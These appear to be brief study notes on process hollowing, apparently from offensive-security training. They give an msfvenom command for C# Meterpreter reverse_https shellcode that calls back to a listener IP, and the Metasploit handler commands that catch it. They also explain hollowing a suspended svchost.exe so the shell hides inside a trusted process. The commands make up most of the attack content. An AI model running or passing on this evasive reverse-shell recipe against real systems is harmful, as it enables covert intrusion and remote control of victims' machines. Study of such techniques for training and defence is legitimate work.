Process Hollowing

inject our code into a process that is known to generate network activity (as we cannot inject into svchost.exe from a lower integrity level than the SYSTEM level that it uses)

*start-hollow.ps1
c# shellcode:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f csharp

process to hollow: svchost.exe is 64-bit, need to match it

listener:
sudo msfconsole -q -x "use exploit/multi/handler"
set payload windows/x64/meterpreter/reverse_https
set lhost 192.168.119.120
set lport 443
run

This is to create a suspended process, hollow out its original code, replace it with our shellcode, and subsequently execute it, resulting in a reverse Meterpreter shell executing inside a svchost.exe process, possibly evading suspicion since it is a trusted process that also engages in network communications.

While the code and technique here only writes shellcode into the suspended process, we could also use this technique to hollow an entire compiled EXE.

Match shellcode architecture (svchost.exe is 64-bit) in compiling

Last updated